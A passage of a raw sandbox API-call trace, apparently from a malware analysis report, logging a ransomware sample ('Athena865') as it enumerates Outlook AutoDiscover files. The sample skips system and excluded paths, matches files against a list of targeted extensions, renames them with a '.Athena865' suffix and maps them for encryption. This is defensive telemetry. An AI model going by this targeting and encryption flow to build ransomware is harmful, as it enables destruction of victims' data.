returned 0x530d20 [0153.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0153.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0153.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.221] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.221] CloseHandle (hObject=0x154) returned 1 [0153.221] CloseHandle (hObject=0x17c) returned 1 [0153.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0153.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.221] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BTINTERNET.NET.XML", cAlternateFileName="BTINTE~1.XML")) returned 1 [0153.221] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0153.221] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0153.221] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".") returned 1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="..") returned 1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="windows") returned -1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="bootmgr") returned 1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="temp") returned -1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="pagefile.sys") returned -1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="boot") returned 1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="ids.txt") returned -1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="ntuser.dat") returned -1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="perflogs") returned -1 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2="MSBuild") returned -1 [0153.222] lstrlenW (lpString="BTINTERNET.NET.XML") returned 18 [0153.222] lstrcpyW (in: lpString1=0x241e8c6, lpString2="BTINTERNET.NET.XML" | out: lpString1="BTINTERNET.NET.XML") returned="BTINTERNET.NET.XML" [0153.222] lstrlenW (lpString="BTINTERNET.NET.XML") returned 18 [0153.222] lstrlenW (lpString="Athena865") returned 9 [0153.222] lstrcmpiW (lpString1="T.NET.XML", lpString2="Athena865") returned 1 [0153.222] lstrlenW (lpString=".dll") returned 4 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".dll") returned 1 [0153.222] lstrlenW (lpString=".lnk") returned 4 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".lnk") returned 1 [0153.222] lstrlenW (lpString=".ini") returned 4 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".ini") returned 1 [0153.222] lstrlenW (lpString=".sys") returned 4 [0153.222] lstrcmpiW (lpString1="BTINTERNET.NET.XML", lpString2=".sys") returned 1 [0153.222] lstrlenW (lpString="BTINTERNET.NET.XML") returned 18 [0153.222] lstrlenW (lpString="bak") returned 3 [0153.222] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0153.222] lstrlenW (lpString="ba_") returned 3 [0153.222] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0153.222] lstrlenW (lpString="dbb") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0153.223] lstrlenW (lpString="vmdk") returned 4 [0153.223] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0153.223] lstrlenW (lpString="rar") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0153.223] lstrlenW (lpString="zip") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0153.223] lstrlenW (lpString="tgz") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0153.223] lstrlenW (lpString="vbox") returned 4 [0153.223] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0153.223] lstrlenW (lpString="vdi") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0153.223] lstrlenW (lpString="vhd") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0153.223] lstrlenW (lpString="vhdx") returned 4 [0153.223] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0153.223] lstrlenW (lpString="avhd") returned 4 [0153.223] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0153.223] lstrlenW (lpString="db") returned 2 [0153.223] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0153.223] lstrlenW (lpString="db2") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0153.223] lstrlenW (lpString="db3") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0153.223] lstrlenW (lpString="dbf") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0153.223] lstrlenW (lpString="mdf") returned 3 [0153.223] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0153.224] lstrlenW (lpString="mdb") returned 3 [0153.224] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0153.224] lstrlenW (lpString="sql") returned 3 [0153.224] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0153.224] lstrlenW (lpString="sqlite") returned 6 [0153.224] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1 [0153.224] lstrlenW (lpString="sqlite3") returned 7 [0153.224] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1 [0153.224] lstrlenW (lpString="sqlitedb") returned 8 [0153.224] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1 [0153.224] lstrlenW (lpString="xml") returned 3 [0153.224] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0153.224] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.Athena865") returned 91 [0153.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml.athena865"), dwFlags=0x1) returned 1 [0153.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.226] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=807) returned 1 [0153.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0153.227] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f078) returned 1 [0153.227] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.227] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.227] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x154 [0153.229] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000 [0153.230] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f078) returned 1 [0153.230] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.230] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0153.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0153.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.231] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.231] CloseHandle (hObject=0x154) returned 1 [0153.231] CloseHandle (hObject=0x17c) returned 1 [0153.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0153.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.232] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BTOPENWORLD.COM.XML", cAlternateFileName="BTOPEN~1.XML")) returned 1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".") returned 1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="..") returned 1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="windows") returned -1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="bootmgr") returned 1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="temp") returned -1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="pagefile.sys") returned -1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="boot") returned 1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="ids.txt") returned -1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="ntuser.dat") returned -1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="perflogs") returned -1 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2="MSBuild") returned -1 [0153.232] lstrlenW (lpString="BTOPENWORLD.COM.XML") returned 19 [0153.232] lstrcpyW (in: lpString1=0x241e8c6, lpString2="BTOPENWORLD.COM.XML" | out: lpString1="BTOPENWORLD.COM.XML") returned="BTOPENWORLD.COM.XML" [0153.232] lstrlenW (lpString="BTOPENWORLD.COM.XML") returned 19 [0153.232] lstrlenW (lpString="Athena865") returned 9 [0153.232] lstrcmpiW (lpString1="D.COM.XML", lpString2="Athena865") returned 1 [0153.232] lstrlenW (lpString=".dll") returned 4 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".dll") returned 1 [0153.232] lstrlenW (lpString=".lnk") returned 4 [0153.232] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".lnk") returned 1 [0153.232] lstrlenW (lpString=".ini") returned 4 [0153.233] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".ini") returned 1 [0153.233] lstrlenW (lpString=".sys") returned 4 [0153.233] lstrcmpiW (lpString1="BTOPENWORLD.COM.XML", lpString2=".sys") returned 1 [0153.233] lstrlenW (lpString="BTOPENWORLD.COM.XML") returned 19 [0153.233] lstrlenW (lpString="bak") returned 3 [0153.233] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0153.233] lstrlenW (lpString="ba_") returned 3 [0153.233] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0153.233] lstrlenW (lpString="dbb") returned 3 [0153.233] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0153.233] lstrlenW (lpString="vmdk") returned 4 [0153.233] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0153.233] lstrlenW (lpString="rar") returned 3 [0153.233] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0153.233] lstrlenW (lpString="zip") returned 3 [0153.233] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0153.233] lstrlenW (lpString="tgz") returned 3 [0153.233] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0153.233] lstrlenW (lpString="vbox") returned 4 [0153.233] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0153.233] lstrlenW (lpString="vdi") returned 3 [0153.233] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0153.233] lstrlenW (lpString="vhd") returned 3 [0153.233] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0153.233] lstrlenW (lpString="vhdx") returned 4 [0153.233] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0153.233] lstrlenW (lpString="avhd") returned 4 [0153.233] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0153.233] lstrlenW (lpString="db") returned 2 [0153.234] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0153.234] lstrlenW (lpString="db2") returned 3 [0153.234] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0153.234] lstrlenW (lpString="db3") returned 3 [0153.234] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0153.234] lstrlenW (lpString="dbf") returned 3 [0153.234] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0153.234] lstrlenW (lpString="mdf") returned 3 [0153.234] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0153.234] lstrlenW (lpString="mdb") returned 3 [0153.234] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0153.234] lstrlenW (lpString="sql") returned 3 [0153.234] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0153.234] lstrlenW (lpString="sqlite") returned 6 [0153.234] lstrcmpiW (lpString1="OM.XML", lpString2="sqlite") returned -1 [0153.234] lstrlenW (lpString="sqlite3") returned 7 [0153.234] lstrcmpiW (lpString1="COM.XML", lpString2="sqlite3") returned -1 [0153.234] lstrlenW (lpString="sqlitedb") returned 8 [0153.234] lstrcmpiW (lpString1=".COM.XML", lpString2="sqlitedb") returned -1 [0153.234] lstrlenW (lpString="xml") returned 3 [0153.234] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0153.234] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.Athena865") returned 92 [0153.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml.athena865"), dwFlags=0x1) returned 1 [0153.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.236] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=807) returned 1 [0153.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0153.237] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f078) returned 1 [0153.237] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.237] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.238] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x154 [0153.239] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000 [0153.240] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f078) returned 1 [0153.240] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.241] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0153.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0153.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.241] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.242] CloseHandle (hObject=0x154) returned 1 [0153.242] CloseHandle (hObject=0x17c) returned 1 [0153.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0153.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.242] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x52837ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FLASH.NET.XML", cAlternateFileName="FLASHN~1.XML")) returned 1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".") returned 1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="..") returned 1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="windows") returned -1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="bootmgr") returned 1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="temp") returned -1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="pagefile.sys") returned -1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="boot") returned 1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="ids.txt") returned -1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="ntuser.dat") returned -1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="perflogs") returned -1 [0153.242] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2="MSBuild") returned -1 [0153.242] lstrlenW (lpString="FLASH.NET.XML") returned 13 [0153.242] lstrcpyW (in: lpString1=0x241e8c6, lpString2="FLASH.NET.XML" | out: lpString1="FLASH.NET.XML") returned="FLASH.NET.XML" [0153.243] lstrlenW (lpString="FLASH.NET.XML") returned 13 [0153.243] lstrlenW (lpString="Athena865") returned 9 [0153.243] lstrcmpiW (lpString1="H.NET.XML", lpString2="Athena865") returned 1 [0153.243] lstrlenW (lpString=".dll") returned 4 [0153.243] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".dll") returned 1 [0153.243] lstrlenW (lpString=".lnk") returned 4 [0153.243] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".lnk") returned 1 [0153.243] lstrlenW (lpString=".ini") returned 4 [0153.243] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".ini") returned 1 [0153.243] lstrlenW (lpString=".sys") returned 4 [0153.243] lstrcmpiW (lpString1="FLASH.NET.XML", lpString2=".sys") returned 1 [0153.243] lstrlenW (lpString="FLASH.NET.XML") returned 13 [0153.243] lstrlenW (lpString="bak") returned 3 [0153.243] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0153.243] lstrlenW (lpString="ba_") returned 3 [0153.243] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0153.243] lstrlenW (lpString="dbb") returned 3 [0153.243] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0153.243] lstrlenW (lpString="vmdk") returned 4 [0153.243] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0153.243] lstrlenW (lpString="rar") returned 3 [0153.243] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0153.243] lstrlenW (lpString="zip") returned 3 [0153.243] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0153.243] lstrlenW (lpString="tgz") returned 3 [0153.243] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0153.243] lstrlenW (lpString="vbox") returned 4 [0153.243] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0153.243] lstrlenW (lpString="vdi") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0153.244] lstrlenW (lpString="vhd") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0153.244] lstrlenW (lpString="vhdx") returned 4 [0153.244] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0153.244] lstrlenW (lpString="avhd") returned 4 [0153.244] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0153.244] lstrlenW (lpString="db") returned 2 [0153.244] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0153.244] lstrlenW (lpString="db2") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0153.244] lstrlenW (lpString="db3") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0153.244] lstrlenW (lpString="dbf") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0153.244] lstrlenW (lpString="mdf") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0153.244] lstrlenW (lpString="mdb") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0153.244] lstrlenW (lpString="sql") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0153.244] lstrlenW (lpString="sqlite") returned 6 [0153.244] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1 [0153.244] lstrlenW (lpString="sqlite3") returned 7 [0153.244] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1 [0153.244] lstrlenW (lpString="sqlitedb") returned 8 [0153.244] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1 [0153.244] lstrlenW (lpString="xml") returned 3 [0153.244] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0153.245] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.Athena865") returned 86 [0153.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml.athena865"), dwFlags=0x1) returned 1 [0153.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.247] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=808) returned 1 [0153.247] RtlAllocateHeap 